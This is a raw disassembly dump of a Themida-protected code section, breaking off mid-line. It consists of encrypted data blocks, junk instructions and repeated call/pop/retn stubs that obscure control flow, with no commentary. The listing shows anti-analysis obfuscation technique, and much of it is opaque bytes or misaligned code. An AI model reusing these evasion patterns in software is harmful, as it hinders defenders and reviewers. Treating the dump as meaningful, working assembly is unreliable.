XREF: Themida_:005D019Dj push dword ptr [ebp+7E41E15h] mov [ebp+7E42185h], ecx mov [ebp+7E42021h], esi call dword ptr [ebp+7E4304Dh] jmp loc_5D02A2 ; --------------------------------------------------------------------------- dd 7DB300B0h, 9D8B70E6h, 7E423C9h, 10E971E4h, 33000000h dd 2187991Ah, 3DDBA52Bh, 0DDAF2CD2h, 3C9A4A1Ch, 0B3830F61h dd 66000000h, 0F89B5BBh, 0B589C8B6h, 7E40139h, 6BAh, 0CBBF6600h dd 0E9C18B93h, 10h, 3E19F5ABh, 0E5D2CC49h, 4910B764h, 0EE55C9Eh dd 8904E8C1h, 0E4230995h, 0E2F76607h, 1AD5B501h, 0C82B07E4h dd 2B68B0BFh, 66D18B00h, 75A2E381h, 0FF37BB66h, 9E9h, 3870F00h dd 66000000h, 858BF98Bh, 7E403F1h, 5AD9D8Bh, 0C08307E4h dd 85BD8B07h, 8307E427h, 0D03B00C0h, 9830Fh, 5B500000h dd 2DE9h, 8B29B300h, 0E405558Dh, 1E18307h, 1C840Fh, 9D890000h dd 7E40B89h, 555A583h, 66FE07E4h, 899EAABFh, 0E403F195h dd 0E907h db 2 dup(0) ; --------------------------------------------------------------------------- loc_5D02A2: ; CODE XREF: Themida_:005D01BFj lea esi, [ebp+7E856A0h] push 0 push edi call sub_5D02B3 and [edi-3Dh], bl ; =============== S U B R O U T I N E ======================================= sub_5D02B3 proc near ; CODE XREF: Themida_:005D02ABp arg_4 = dword ptr 8 pop edi mov [esp-4+arg_4], edi add [esp-4+arg_4], 14h inc edi push edi retn sub_5D02B3 endp ; --------------------------------------------------------------------------- retn 6Ah ; --------------------------------------------------------------------------- jg loc_5D02D2 mov ebx, [ebp+7E418C5h] loc_5D02D2: ; CODE XREF: Themida_:005D02C6j call dword ptr [ebp+7E40E41h] push 0 push edx call sub_5D02E3 and [edx-3Dh], bl ; =============== S U B R O U T I N E ======================================= sub_5D02E3 proc near ; CODE XREF: Themida_:005D02DBp arg_4 = dword ptr 8 pop edx mov [esp-4+arg_4], edx add [esp-4+arg_4], 1Ah inc edx push edx retn sub_5D02E3 endp ; --------------------------------------------------------------------------- db 5Bh dd 510FDB1Fh, 0BDB9EF2Eh, 6A000007h, 3E85500h, 20000000h dd 895DC35Dh, 8104246Ch, 1D042444h, 45000000h, 8D3EC355h dd 85B01516h, 96682C65h, 0FFCE183h, 0F9FCFEBFh, 0B8h, 56006A00h dd 3E8h, 0C35E2000h, 2474895Eh, 24448104h, 1604h, 0C3564600h dd 8B9B0CE3h, 0E41CD99Dh, 0BA07h, 6A0000h, 3E851h, 59200000h dd 4C8959C3h, 44810424h, 170424h, 51410000h, 0DF2CE2C3h dd 0E38166A8h, 0BB66C607h, 0BF66D0B4h, 33ADAE5Eh, 3E8D1C2h dd 4E983D0h, 850FF475h, 5, 0BE85C5BBh, 7E95Fh, 2ECA0000h dd 15BC6912h, 51006ADEh, 3E8h, 0C3592000h, 244C8959h, 24448104h dd 1C04h, 0C3514100h, 0E753CBDDh, 16C7A964h, 0B185892Fh dd 0D07E418h, 88h, 0E380DA8Ah, 71958B8Ah, 8B07E41Bh, 0E41EC1BDh dd 0A18D8B07h, 6A07E42Dh, 3E85200h, 20000000h, 895AC35Ah dd 81042454h, 17042444h, 42000000h, 94CEC352h, 8B6658F3h dd 0C28B50F8h, 0C103188Bh, 0C18B188Bh, 0C203E8D1h, 8B58188Bh dd 0E41495BDh, 50006A07h, 3E8h, 0C3582000h, 24448958h dd 24448104h, 1704h, 0C3504000h, 0CBCEE0F6h, 611BD83h dd 0F0007E4h, 6884h, 6FD78100h, 0B874CEF1h, 0 ; --------------------------------------------------------------------------- or [ebp+7E40E29h], esi lea ecx, [ebp+7E44FE7h] push 0 push ebp call sub_5D0477 and [ebp-3Dh], bl ; =============== S U B R O U T I N E ======================================= sub_5D0477 proc near ; CODE XREF: Themida_:005D046Fp arg_4 = dword ptr 8 pop ebp mov [esp-4+arg_4], ebp add [esp-4+arg_4], 16h inc ebp push ebp retn sub_5D0477 endp ; --------------------------------------------------------------------------- xchg eax, esi dec esi xor ah, [esi-45h] aam 32h jg loc_5D049A mov edi, [ebp+7E42D11h] loc_5D049A: ; CODE XREF: Themida_:005D048Ej jmp ecx ; --------------------------------------------------------------------------- push 0 push edx call sub_5D04A7 and [edx-3Dh], bl ; =============== S U B R O U T I N E ======================================= sub_5D04A7 proc near ; CODE XREF: Themida_:005D049Fp arg_4 = dword ptr 8 pop edx mov [esp-4+arg_4], edx add [esp-4+arg_4], 19h inc edx push edx retn sub_5D04A7 endp ; --------------------------------------------------------------------------- db 37h dd 0CF444D8h, 0B9BD83DAh, 7E422h, 498840Fh, 6A0000h, 3E853h dd 5B200000h, 5C895BC3h, 44810424h, 180424h, 53430000h dd 63BF41C3h, 0F88B6A3Dh, 22B9BD83h, 0F0107E4h, 48484h dd 8D853100h, 8307E430h, 0E422B9BDh, 860F0307h, 43Bh, 0BD8B60FCh dd 7E42C41h, 0FD98C66h, 381h, 0D98B6600h, 6A04E180h, 3E85000h dd 20000000h, 8958C358h, 81042444h, 18042444h, 40000000h dd 5BAAC350h, 0F3754FBh, 0C90ADEB7h, 194840Fh, 6A0000h dd 3E855h, 5D200000h, 6C895DC3h, 44810424h, 140424h, 55450000h dd 0B70FA4C3h, 51858BDEh, 6A07E406h, 3E85000h, 20000000h dd 8958C358h, 81042444h, 15042444h, 40000000h, 701EC350h dd 20298533h, 6A07E4h, 3E856h, 5E200000h, 74895EC3h, 44810424h dd 1C0424h, 56460000h, 4ED552C3h, 9771CAB7h, 8A0FD563h dd 1Bh, 12E8h, 2F19E400h, 14083773h, 0A06B20Bh, 8F75F034h dd 0F13FBF8h, 2B5FDFBFh, 0E418FD9Dh, 0E18D8907h, 9007E413h dd 7E9h, 87022F00h, 90B1D280h, 8BF6650h, 6A90AAh, 3E856h dd 5E200000h, 74895EC3h, 44810424h, 1C0424h, 56460000h dd 0B7F086C3h, 0A74CD64Ch, 0FE91A0Eh, 5C000000h, 89EDD51h dd 0E1534D85h, 2F10D72h, 6AA5A9h, 0E850006Ah, 3, 58C35820h dd 4244489h, 4244481h, 1Ch, 35C35040h, 1A6F3BEAh, 0A3E4AF1Dh dd 207D8589h, 4E807E4h, 0FF000000h, 0B3001F03h, 448B50FAh dd 0D98B0424h, 8B66008Bh, 244489DEh, 0C4BB6604h, 0FE8584Eh dd 9B000000h, 694CC070h, 3E4EEA66h, 675BF610h, 9D8B73CFh dd 7E432A9h, 9995FF5Fh, 6A07E42Dh, 3E85300h, 20000000h dd 895BC35Bh, 8104245Ch, 15042444h, 43000000h, 1212C353h dd 1B9D9D8Bh, 858907E4h, 7E7F8A5h, 8D89D98Bh, 7E409E1h dd 1C3E9h, 0E6BA6000h, 89531336h, 0E431E18Dh, 858B6107h dd 7E7F89Dh, 0E853006Ah, 3, 5BC35B20h, 4245C89h, 4244481h dd 15h, 0FDC35343h, 1800C7A5h, 6A000000h, 3E85200h, 20000000h dd 895AC35Ah, 81042454h, 14042444h, 42000000h, 0E922C352h dd 11h, 817EF96Ch, 0BD605DAh, 0C74B524h, 0E7C6F35Ah, 0A1B58B61h dd 6A07E7F8h, 3E85600h, 20000000h, 895EC35Eh, 81042474h dd 18042444h, 46000000h, 0E1E6C356h, 2907870Fh, 0E401F585h dd 858BF807h, 7E40099h, 5059501h, 68907E4h, 0E853006Ah dd 3, 5BC35B20h, 4245C89h, 4244481h, 19h, 5DC35343h, 8659824Bh dd 1953155h, 107E427h, 0E42AA58Dh, 51858B07h, 6A07E406h dd 3E85000h, 20000000h, 8958C358h, 81042444h, 1C042444h dd 40000000h, 0A541C350h, 69BE009h, 0B3619281h, 359D2958h dd 8907E42Ah, 9D290446h, 7E4272Dh, 0BBBF6696h, 8996507Bh dd 0E4070185h, 0FB8B6607h, 0F89DB5FFh, 0F0BB07E7h, 892D2A8Ah dd 0E432F185h, 27D66807h, 0F6082DEh, 28Ah, 60D78B00h, 61615953h dd 29240481h, 8B7D40DCh, 0E414A5BDh, 0DAB70F07h, 0F8A5858Dh dd 6A07E7h, 3E850h, 58200000h, 448958C3h, 44810424h, 1B0424h dd 50400000h, 0E8E466C3h, 0E76D5D31h, 68E0FAEh, 89000000h dd 0E42DC9B5h, 0CE95007h, 86000000h, 68FE37Bh, 47B6BD0Dh dd 8958CEAFh, 6A2404h, 3E852h, 5A200000h, 54895AC3h, 44810424h dd 160424h, 52420000h, 28AFD1C3h, 2D9995FFh, 0BD3307E4h dd 7E40AF1h, 53006A61h, 3E8h, 0C35B2000h, 245C895Bh, 24448104h dd 1B04h, 0C3534300h, 0BC8B0F35h, 0E309263Fh, 1830Fh, 0C7FC0000h dd 0E422B985h, 307h, 57006A00h, 3E8h, 0C35F2000h, 247C895Fh dd 24448104h, 1504h, 0C3574700h, 9D89D676h, 7E429F1h, 0F8A5BD83h dd 0F0007E7h, 4A84h, 53006A00h, 3E8h, 0C35B2000h, 245C895Bh dd 24448104h, 1504h, 0C3534300h, 950951F4h, 7E40A8Dh, 3DE9h dd 55006A00h, 3E8h, 0C35D2000h, 246C895Dh, 24448104h, 1404h dd 0C3554500h, 0D9BD8B9Dh, 5007E417h, 110C30h, 0C1011144h dd 443010E8h, 4C000211h, 83580311h, 0E77504E9h, 305036EBh dd 64001104h, 0E8C10111h, 11443010h, 11640002h, 0E9835803h dd 0EBE77504h, 0E8C1501Bh, 11642810h, 11443003h, 64285802h dd 4300111h, 4E98311h, 0EBE775h, 6AC08Bh, 3E852h, 5A200000h dd 54895AC3h, 44810424h, 180424h, 52420000h, 0B8281FC3h dd 8960C463h, 0E413A18Dh, 0A5B58B07h, 6107E405h, 25A99D31h dd 0BD8307E4h, 7E422B9h, 92850F03h, 0E9000004h, 0Fh, 429E17ADh dd 3EF27B47h, 9837036Ch, 83E67CACh, 0E7F8A5BDh, 840F0007h dd 471h, 0E851006Ah, 3, 59C35920h, 4244C89h, 4244481h dd 1Dh, 43C35141h, 0EBB9FA51h, 674AE348h, 0A5B5FFC4h, 0F07E7F8h dd 684h, 0B5EB8100h, 0FF21FC10h, 0E4044D95h, 56006A07h dd 3E8h, 0C35E2000h, 2474895Eh, 24448104h, 1504h, 0C3564600h dd 10E90AE2h, 58000000h, 28A7D649h, 4704CAD0h, 3E50B9Dh dd 8B0639FEh, 0E7F899B5h, 57006A07h, 3E8h, 0C35F2000h dd 247C895Fh, 24448104h, 1504h, 0C3574700h, 6C7DF02h, 10001h dd 0E850006Ah, 3, 58C35820h, 4244489h, 4244481h, 17h, 0AC35040h dd 8BDD2517h, 0E42D81BDh, 96DF8B07h, 0AE86053h, 0FF000000h dd 0E94A85DFh, 0C12607D6h, 5F61595Ah, 0FE8B6650h, 89505296h dd 0E407AD95h, 535B5B07h, 0FB8B6651h, 0B5FF5B5Fh, 7E7F8A5h dd 0E857006Ah, 3, 5FC35F20h, 4247C89h, 4244481h, 19h, 0BBC35747h dd 6FD2BE13h, 0BD8B560Bh, 7E41275h, 995FF5Bh, 6A07E42Ah dd 3E85000h, 20000000h, 8958C358h, 81042444h, 1B042444h dd 40000000h, 0CE2DC350h, 76118E2Eh, 8D8938E4h, 7E407ADh dd 0F899B58Bh, 6A07E7h, 3E852h, 5A200000h, 54895AC3h, 44810424h dd 1B0424h, 52420000h, 0B3C8F2C3h, 0F5D2FC57h, 0BF66503Ah dd 8B5B735Bh, 0E4316585h, 0DFB70F07h, 0C48689F8h, 6A000000h dd 3E85600h, 20000000h, 895EC35Eh, 81042474h, 17042444h dd 46000000h, 4DE4C356h, 8B66AE3Ch, 71958BDAh, 107E41Bh dd 0E41F11BDh, 4C28307h, 0FE9h, 9CA00C00h, 32D61AEEh, 1BD232B5h dd 0FB914BFAh, 28D0Fh, 0DF8B0000h, 6A205089h, 3E85600h dd 20000000h, 895EC35Eh, 81042474h, 1D042444h, 46000000h dd 257C356h, 0D9B9781Fh, 40C783FDh, 0B0D9D8Bh, 858D07E4h dd 7E80CD4h, 0E857006Ah, 3, 5FC35F20h, 4247C89h, 4244481h dd 1Ah, 1DC35747h, 0DF2BF3B5h, 9D2BF511h, 7E431A9h, 192D9D89h dd 868907E4h, 0B8h, 0C51EF0BBh, 0F096BF7Eh, 6A2038h, 0F18589h dd 0B5FF07E4h, 7E7F8A5h, 0E855006Ah, 3, 5DC35D20h, 4246C89h dd 4244481h, 19h, 34C35545h, 0FD125AC5h, 0AD95FFCEh, 0E807E431h dd 5, 47DCEE86h, 5BB1B365h, 50DA8B96h, 2FBBBB60h, 0FFB5659Ch dd 12E99661h, 4000000h, 0EA781AB0h, 75A2E360h, 92C5BCB9h dd 0FB87833Dh, 0A5B5FFE0h, 6A07E7F8h, 3E85000h, 20000000h dd 8958C358h, 81042444h, 1B042444h, 40000000h, 68FBC350h dd 0CFE6E65Fh, 0CB81BBF8h, 24BEC559h, 1B1195FFh, 0BD8B07E4h dd 7E40925h, 0DF9BD83h, 0F0007E4h, 7884h, 51006A00h, 3E8h dd 0C3592000h, 244C8959h, 24448104h, 1B04h, 0C3514100h dd 0BCF261B5h, 360C10D4h, 0AE8h, 44947900h, 0E31FB370h dd 0E9C90613h, 14h, 980036CDh, 0E16AA8FFh, 706450EBh, 0D3EF5393h dd 5BA9F0D8h, 8B66965Fh, 0BB6650DAh, 6A96E2E6h, 3E85600h dd 20000000h, 895EC35Eh, 81042474h, 1A042444h, 46000000h dd 4802C356h, 6881010h, 0A5B5FFA0h, 8907E7F8h, 0E426C9B5h dd 0F7816607h, 95FF0380h, 7E4027Dh, 0F8A5B5FFh, 6A07E7h dd 3E852h, 5A200000h, 54895AC3h, 44810424h, 160424h, 52420000h dd 73A593C3h, 0F19D8B52h, 5F07E419h, 97195FFh, 6A07E4h dd 3E855h, 5D200000h, 6C895DC3h, 44810424h, 160424h, 55450000h dd 0CF4993C3h, 5798529h, 0BD8307E4h, 7E40A21h, 62840F02h dd 6A000000h, 3E85300h, 20000000h, 895BC35Bh, 8104245Ch dd 1C042444h, 43000000h, 28E0C353h, 24473513h, 8B1632B1h dd 0E423899Dh, 0B5858B07h, 0BF07E41Eh, 6227F8C6h, 6A0000C6h dd 3E85300h, 20000000h, 895BC35Bh, 8104245Ch, 1C042444h dd 43000000h, 0F77AC353h, 39F5CB3Fh, 8B36F203h, 0E405F99Dh dd 7185C707h, 7E426h, 6A000000h, 3E85000h, 20000000h, 8958C358h dd 81042444h, 16042444h, 40000000h, 0ADFCC350h, 0F307E909h dd 0D0BBFFFFh, 8B08298Eh, 50006AC1h, 3E8h, 0C3582000h dd 24448958h, 24448104h, 1704h, 0C3504000h, 0EF00C301h dd 85858DF5h, 6A07E40Dh, 3E85200h, 20000000h, 895AC35Ah dd 81042454h, 15042444h, 42000000h, 7E47C352h, 95903ABBh dd 9E9502Fh, 92000000h, 64631886h, 0FDDC4C25h, 0F240489h dd 6AFABFh, 0BA5B509h, 6A07E4h, 0E856006Ah, 3, 5EC35E20h dd 4247489h, 4244481h, 16h, 6EC35646h, 95898114h, 7E41945h dd 0EBCB858Dh, 6A07E8h, 3E850h, 58200000h, 448958C3h, 44810424h dd 1B0424h, 50400000h, 9A9250C3h, 843FEA11h, 5C083D4h dd 0E3D8531h, 665007E4h, 8999CDBBh, 6A2404h, 3E857h, 5F200000h dd 7C895FC3h, 44810424h, 180424h, 57470000h, 0FB658AC3h dd 860F660Eh, 6, 20998589h, 6A07E4h, 0BD23DE8Bh, 7E41275h dd 8166006Ah, 0FF3A90E3h, 0E4247195h, 57006A07h, 3E8h dd 0C35F2000h, 247C895Fh, 24448104h, 1604h, 0C3574700h dd 0F549AB6Fh, 273062BFh, 4B8D8D0Eh, 0BB07E7D6h, 2FE2B517h dd 8B56D1FFh, 0E42B099Dh, 0F605F07h, 38Dh, 0F08B6600h dd 53ECB866h, 15BD8361h, 107E420h, 80850Fh, 9D8B0000h dd 7E407A1h, 6A026Ah, 3E855h, 5D200000h, 6C895DC3h, 44810424h dd 140424h, 55450000h, 0D78166C3h, 311FC996h, 0FE68BB90h dd 50505696h, 0FF98B52h, 3BB6631h, 90585A45h, 6E8h, 0C99C7100h dd 0B8C7FF3h, 0E42FA59Dh, 95FF5F07h, 7E431ADh, 0E853006Ah dd 3, 5BC35B20h, 4245C89h, 4244481h, 17h, 55C35343h, 0E956F954h dd 6, 11048C94h, 0FE947ACh, 0E800000Dh, 0 ; --------------------------------------------------------------------------- pop ebp sub ebp, 7E8EBD5h push 0 push edx call sub_5D1072 and [edx-3Dh], bl ; =============== S U B R O U T I N E ======================================= sub_5D1072 proc near ; CODE XREF: Themida_:005D106Ap arg_4 = dword ptr 8 pop edx mov [esp-4+arg_4], edx add [esp-4+arg_4], 18h inc edx push edx retn sub_5D1072 endp ; --------------------------------------------------------------------------- dw 8EB6h dd 6AB4F2E9h, 3E85200h, 20000000h, 895AC35Ah, 81042454h dd 18042444h, 42000000h, 84F5C352h, 56EC00CAh, 9E9h, 7EDF5200h dd 0E5D8CE2Fh, 8D5B78F2h, 0E7C6E185h, 57006A07h, 3E8h dd 0C35F2000h, 247C895Fh, 24448104h, 1A04h, 0C3574700h dd 2303F887h, 6676DAC8h, 17B3D88Bh, 60536050h, 52505861h dd 8E0Fh, 310F0000h, 310F5250h, 585A585Ah, 24048961h, 0B055D9BFh dd 35FF6421h, 0 ; --------------------------------------------------------------------------- pusha xor [ebp+7E41815h], esi jmp loc_5D1120 ; --------------------------------------------------------------------------- dd 0CBB28E71h, 1B9E2E9Eh ; --------------------------------------------------------------------------- loc_5D1120: ; CODE XREF: Themida_:005D1113j popa mov large fs:0, esp push 0 push esi call sub_5D1133 and [esi-3Dh], bl ; =============== S U B R O U T I N E ======================================= sub_5D1133 proc near ; CODE XREF: Themida_:005D112Bp arg_4 = dword ptr 8 pop esi mov [esp-4+arg_4], esi add [esp-4+arg_4], 1Ch inc esi push esi retn sub_5D1133 endp ; --------------------------------------------------------------------------- db 0D7h dd 572D7C89h, 80DD4B86h, 85FFD88Ah, 7E420B9h, 2C31BD89h dd 0FF6A07E4h, 926AA2BBh, 0CE865h, 3C890000h, 9D7BC8CAh dd 0BE788E17h, 9D8B02E9h, 7E420F1h, 0EDB5FF5Fh, 6A07E40Ah dd 3E85000h, 20000000h, 8958C358h, 81042444h, 14042444h dd 40000000h, 0FB1C350h, 95FFDEB7h, 7E4304Dh, 123E9h, 0DEB70F00h dd 0DC8A00B0h, 0E4F970E6h, 4FADBF71h, 613C289Ah, 10A830Fh dd 0B60F0000h, 0A59501C8h, 0BA07E426h, 6, 0C18BDE8Bh, 0E95B5260h dd 0Ch, 0B4C17817h, 0CDDF3750h, 73029C6h, 4E8C161h, 6810Fh dd 8D010000h, 7E413E5h, 7E9h, 2B77600h, 4D287ABFh, 2BE2F766h dd 799531C8h, 8B07E422h, 6BBF66D1h, 6E9D7h, 9D8B0000h dd 7E427A1h, 0AD858Bh, 820F07E4h, 6, 15C9BD89h, 0C08307E4h dd 14E807h, 6D770000h, 7D7AE2C9h, 882BAE14h, 0D343015Bh dd 66E0DE2Ch, 0E85188E3h, 0Ah, 69BE009h, 31619281h, 5B5BDC94h dd 0C0835Bh, 0D03BDA8Bh, 11830Fh, 0B5890000h, 7E41485h dd 53E9h, 99950100h, 8B07E419h, 0E413998Dh, 0FF98B07h dd 486h, 61605600h, 1E1835Fh, 32840Fh, 0A5830000h, 7E41399h dd 13E9FEh, 61520000h, 1424FC71h, 72BB40B7h, 8A4FA64Fh dd 0DA6F7B42h, 0AD9589E3h, 8B07E400h, 0C99D8BDEh, 0E907E415h dd 0 ; --------------------------------------------------------------------------- lea esi, [ebp+7E86072h] pusha movsx ebx, bx or [ebp+7E43575h], ecx popa sbb bh, 84h push 0 mov edi, esi call dword ptr [ebp+7E40E41h] push 0 push edi call sub_5D12F5 and [edi-3Dh], bl ; =============== S U B R O U T I N E ======================================= sub_5D12F5 proc near ; CODE XREF: Themida_:005D12EDp arg_4 = dword ptr 8 pop edi mov [esp-4+arg_4], edi add [esp-4+arg_4], 16h inc edi push edi retn sub_5D12F5 endp ; --------------------------------------------------------------------------- sub al, 0E7h mov bh, 0Fh add dword ptr ds:60000000h, 57h pop esi cld popa mov ecx, 92Fh push 0 push ecx call sub_5D1323 and [ecx-3Dh], bl ; =============== S U B R O U T I N E ======================================= sub_5D1323 proc near ; CODE XREF: Themida_:005D131Bp arg_4 = dword ptr 8 pop ecx mov [esp-4+arg_4], ecx add [esp-4+arg_4], 19h inc ecx push ecx retn sub_5D1323 endp ; --------------------------------------------------------------------------- db 0D9h ; --------------------------------------------------------------------------- or eax, ecx inc ebp xchg eax, ebx setalc pusha movzx ecx, si movsx ecx, cx popa xor [ebp+7E40A85h], ecx and ecx, 0FFFFFFFCh cld cld mov edi, 3359A30Dh sub eax, eax push 0 push esi call sub_5D135E and [esi-3Dh], bl ; =============== S U B R O U T I N E ======================================= sub_5D135E proc near ; CODE XREF: Themida_:005D1356p arg_4 = dword ptr 8 pop esi mov [esp-4+arg_4], esi add [esp-4+arg_4], 1Bh inc esi push esi retn sub_5D135E endp ; --------------------------------------------------------------------------- scasd mov esp, 0DEC6E863h pop edx std mov ebx, 6F2A72FAh add di, 1138h mov edx, 0 push 0 push ebp call sub_5D1390 and [ebp-3Dh], bl ; =============== S U B R O U T I N E ======================================= sub_5D1390 proc near ; CODE XREF: Themida_:005D1388p arg_4 = dword ptr 8 pop ebp mov [esp-4+arg_4], ebp add [esp-4+arg_4], 1Ah inc ebp push ebp retn sub_5D1390 endp ; --------------------------------------------------------------------------- adc ah, bl sal dword ptr [eax-76F5AD6Fh], 85h sub ds:33AD07E4h, esp retn 0E8D1h ; --------------------------------------------------------------------------- dw 0D003h dd 7504E983h, 55BD8BF4h, 0D07E400h, 88h, 0E851006Ah, 3 dd 59C35920h, 4244C89h, 4244481h, 17h, 80C35141h, 6602BCC0h dd 8B0F35BBh, 0E41B7195h, 67EB8007h, 2DA18D8Bh, 0C78107E4h dd 9C8AAAAh, 50FABF0Fh, 188BC28Bh, 188BC103h, 0E8D1C18Bh dd 188BC203h, 8D9D8B58h, 6A07E414h, 3E85600h, 20000000h dd 895EC35Eh, 81042474h, 16042444h, 46000000h, 82BBC356h dd 29BD0969h, 8307E426h, 0E40611BDh, 840F0007h, 56h, 0E857006Ah dd 3, 5FC35F20h, 4247C89h, 4244481h, 1Bh, 9DC35747h, 9B7EB3A1h dd 16F55F4h, 0E42FBDB5h, 0B8F907h, 8D000000h, 0E44FE78Dh dd 56006A07h, 3E8h, 0C35E2000h, 2474895Eh, 24448104h, 1404h dd 0C3564600h, 80E1FFACh, 0BD83ABD7h, 7E422B9h, 28840F00h dd 6A000004h, 3E85600h, 20000000h, 895EC35Eh, 81042474h dd 14042444h, 46000000h, 8312C356h, 0E422B9BDh, 840F0107h dd 41Ah, 0E855006Ah, 3, 5DC35D20h, 4246C89h, 4244481h dd 16h, 0AAC35545h, 0BD8B5453h, 7E405F9h, 22B9BD83h, 0F0307E4h dd 3B386h, 0BD896000h, 7E424C5h, 0BD8B6061h, 7E4148Dh dd 0FD98C66h, 0A89h, 61606000h, 2F018D89h, 806107E4h, 6A04E1h dd 3E856h, 5E200000h, 74895EC3h, 44810424h, 1D0424h, 56460000h dd 84504BC3h, 630C4BC7h, 81E13D78h, 0B3DC70D7h, 0FC90A36h dd 13D84h, 51006A00h, 3E8h, 0C3592000h, 244C8959h, 24448104h dd 1804h, 0C3514100h, 0C5F48B47h, 51858B1Ah, 6A07E406h dd 3E85500h, 20000000h, 895DC35Dh, 8104246Ch, 1B042444h dd 45000000h, 648FC355h, 2B4047D1h, 0B5895F4Ah, 7E425F9h dd 9E8h, 2C96E400h, 0D2EB9BB3h, 800FA4BAh, 3, 5FF8B70Fh dd 20298533h, 0BD8907E4h, 7E431BDh, 66525050h, 310FDE8Bh dd 2830Fh, 61600000h, 489585Ah, 0DB816624h, 6A0605h, 8BC3D780h dd 0E409D99Dh, 2426807h, 0F98BD9CBh, 0BD240481h, 8B265401h dd 0E415A59Dh, 9995FF07h, 6A07E42Dh, 3E85100h, 20000000h dd 8959C359h, 8104244Ch, 14042444h, 41000000h, 0BBEAC351h dd 29A5CA8Ch, 2DE98D89h, 858907E4h, 7E7F8A5h, 11E9h, 71578E00h dd 82443E9Ah, 0BB58FDCCh, 1D6B6AAAh, 860FD036h, 1Ah, 0CE860h dd 29E00000h, 0C950869Ah, 295110AFh, 8B58F499h, 0E40B01BDh dd 9E96107h, 6A000002h, 3E85000h, 20000000h, 8958C358h dd 81042444h, 19042444h, 40000000h, 0ED05C350h, 116D8F10h dd 858BFE8Ah, 7E7F89Dh, 0A1DB589h, 0C707E4h, 18h, 0E852006Ah dd 3, 5AC35A20h, 4245489h, 4244481h, 17h, 0C1C35242h, 89677739h dd 0E404E595h, 0CE907h, 0BC320000h, 104C3994h, 260B08F4h dd 0B58B0E8Dh, 7E7F8A1h, 99858BF8h, 6A07E400h, 3E85500h dd 20000000h, 895DC35Dh, 8104246Ch, 1A042444h, 45000000h dd 0F73CC355h, 0E205EEE1h, 0DD9D891Eh, 8907E403h, 0E41A2D85h dd 6A068907h, 3E85200h, 20000000h, 895AC35Ah, 81042454h dd 18042444h, 42000000h, 7225C352h, 9B38189h, 0E42165B5h dd 19880F07h, 0E9000000h, 14h, 0A2CD83E3h, 8087022Fh, 9290B1D2h dd 38FFA8DAh, 0F969A9BEh, 651858Bh, 6A07E4h, 3E855h, 5D200000h dd 6C895DC3h, 44810424h, 1A0424h, 55450000h, 15F750C3h dd 0A8BC46E7h, 66044689h, 5050F88Bh, 8F0F6052h, 0 dd 0AE8h, 0AFACB900h, 0B4D3CB5Dh, 58DAB56Ah, 66310F61h dd 5A5C60BFh, 24348958h, 0FFFFB70Fh, 0E7F89DB5h, 4E8F507h dd 0FF000000h, 50001F03h, 0EE852h, 6AE20000h, 71941453h dd 259E70B9h, 0EFAAAEh, 0F5B39B3h, 0F88B6631h, 0F50585Ah dd 168Bh, 10E800h, 0A0370000h, 7341B011h, 3D77DF21h, 7182F3D6h dd 8B5F47DFh, 0B3042444h, 8B008B1Fh, 244489FBh, 8B665804h dd 0A5858DF8h, 6A07E7F8h, 3E85000h, 20000000h, 8958C358h dd 81042444h, 15042444h, 40000000h, 9AF1C350h, 5090F88Bh dd 0DF79BF52h, 310F0222h, 1200BB66h, 0BF50585Ah, 6FA2B781h dd 53006A90h, 3E8h, 0C35B2000h, 245C895Bh, 24448104h, 1D04h dd 0C3534300h, 86183391h, 0E75F6FE6h, 95FF6EF0h, 7E42D99h dd 859D3361h, 0C707E422h, 0E422B985h, 307h, 0FED78000h dd 0F8A5BD83h, 0F0007E7h, 1784h, 0C19D8B00h, 0E907E401h dd 27h, 279BD89h, 9D8B07E4h, 7E432E9h, 110C3050h, 1114400h dd 3010E8C1h, 21144h, 5803114Ch, 7504E983h, 5036EBE7h dd 110430h, 0C1011164h, 443010E8h, 64000211h, 83580311h dd 0E77504E9h, 0C1501BEBh, 642810E8h, 44300311h, 28580211h dd 30011164h, 0E9831104h, 0EBE77504h, 66C08B00h, 831163BBh dd 0E422B9BDh, 850F0307h, 40Ah, 356DBD29h, 0BD8307E4h dd 7E7F8A5h, 0F7840F00h, 6A000003h, 3E85000h, 20000000h dd 8958C358h, 81042444h, 1C042444h, 40000000h, 0FF03C350h dd 8E88A82Dh, 0FF92654Bh, 0E7F8A5B5h, 4D95FF07h, 8B07E404h dd 0E415C59Dh, 99B58B07h, 6A07E7F8h, 3E85100h, 20000000h dd 8959C359h, 8104244Ch, 16042444h, 41000000h, 0FCCC351h dd 106C7B8h, 6A000100h, 3E85200h, 20000000h, 895AC35Ah dd 81042454h, 16042444h, 42000000h, 0B83FC352h, 870F5030h dd 5, 0AE57C9BBh, 24348922h, 0E850006Ah, 3, 58C35820h dd 4244489h, 4244481h, 15h, 4AC35040h, 5958989h, 0FF07E409h dd 0E7F8A5B5h, 52006A07h, 3E8h, 0C35A2000h, 2454895Ah dd 24448104h, 1704h, 0C3524200h, 64595076h, 60FAB70Fh dd 211B589h, 896007E4h, 0E42EC585h, 14E907h, 36CD0000h dd 0A8FF9800h, 50EBE16Ah, 53937064h, 0F0D8D3EFh, 61615BA9h dd 2A0995FFh, 6A07E4h, 3E856h, 5E200000h, 74895EC3h, 44810424h dd 150424h, 56460000h, 66A562C3h, 15E5DF81h, 0F899B58Bh dd 6A07E7h, 3E852h, 5A200000h, 54895AC3h, 44810424h, 140424h dd 52420000h, 5E9B3C3h, 0B8000000h, 7D24D3FBh, 3165858Bh dd 6A07E4h, 3E857h, 5F200000h, 7C895FC3h, 44810424h, 1C0424h dd 57470000h, 719F7AC3h, 0DB4C2A52h, 8BFC33BAh, 0C48689DFh dd 0F000000h, 181h, 958BF800h, 7E41B71h, 0EE860h, 0CCA30000h dd 7AC67C8Ch, 65442799h, 5772B3F5h, 0F158D29h, 0F5807E4h dd 8361D9BFh, 6A04C2h, 3E853h, 5B200000h, 5C895BC3h, 44810424h dd 160424h, 53430000h, 0C50BBDC3h, 3205089h, 0E42A399Dh dd 0D4858D07h, 6A07E80Ch, 3E85500h, 20000000h, 895DC35Dh dd 8104246Ch, 14042444h, 45000000h, 0B7DBC355h, 0B886895Fh dd 6A000000h, 3E85200h, 20000000h, 895AC35Ah, 81042454h dd 14042444h, 42000000h, 66F9C352h, 6ADF8Bh, 0E855006Ah dd 3, 5DC35D20h, 4246C89h, 4244481h, 1Bh, 8DC35545h, 7B63FDF9h dd 0E936BFEEh, 5, 0E8B4195Bh, 0A5B5FF21h, 6A07E7F8h, 3E85700h dd 20000000h, 895FC35Fh, 8104247Ch, 1A042444h, 47000000h dd 398C357h, 0BB96AD83h, 0AE8F578h, 0CB000000h, 3A205C6Bh dd 223CA15Ch, 